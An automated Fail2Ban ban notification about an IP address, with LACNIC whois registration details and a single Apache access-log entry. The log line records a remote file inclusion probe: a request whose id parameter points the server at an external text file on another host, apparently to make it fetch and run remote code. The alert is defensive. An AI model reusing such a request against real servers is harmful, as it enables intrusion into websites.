Hi, The IP 190.190.0.64 has just been banned by Fail2Ban after 1 attempts against php-url-fopen. Here are more information about 190.190.0.64: % Joint Whois - whois.lacnic.net % This server accepts single ASN, IPv4 or IPv6 queries % LACNIC resource: whois.lacnic.net % Copyright LACNIC lacnic.net % The data below is provided for information purposes % and to assist persons in obtaining information about or % related to AS and IP numbers registrations % By submitting a whois query, you agree to use this data % only for lawful purposes. % 2012-04-28 22:57:47 (BRT -03:00) inetnum: 190.190/15 status: allocated aut-num: N/A owner: Prima S.A. ownerid: AR-PRSA-LACNIC responsible: Santiago Zuccarello address: Hornos, 690, address: C1272ACL - Buenos Aires - country: AR phone: +54 11 51996100 [] owner-c: MIF tech-c: NEA abuse-c: NEA inetrev: 190.190/15 nserver: O200.PRIMA.COM.AR nsstat: 20120426 AA nslastaa: 20120426 nserver: O2000.PRIMA.COM.AR nsstat: 20120426 AA nslastaa: 20120426 created: 20080219 changed: 20080221 nic-hdl: MIF person: Network Services e-mail: noc@FIBERTEL.COM.AR address: Hornos, 690, address: C1272ACL - Capital Federal - BA country: AR phone: +54 11 51996100 [] created: 20021105 changed: 20110623 nic-hdl: NEA person: Network Administrator e-mail: noc@FIBERTEL.COM.AR address: Aguero, 3440, 2 Piso address: 1605 - Munro - BA country: AR phone: +54 11 47786569 [] created: 20030204 changed: 20110826 % whois.lacnic.net accepts only direct match queries. % Types of queries are: POCs, ownerid, CIDR blocks, IP % and AS numbers. Lines containing IP:190.190.0.64 in /var/log/apache*/*access.log /var/log/apache2/medisign.gr_access.log:190.190.0.64 - - [29/Apr/2012:04:57:46 +0300] "GET /common/getFile/?id=http://www.la-cloture-electrique.fr/css/index.txt? HTTP/1.1" 200 1351 "-" "Mozilla/3.0 (compatible; Indy Library)" Regards, Fail2Ban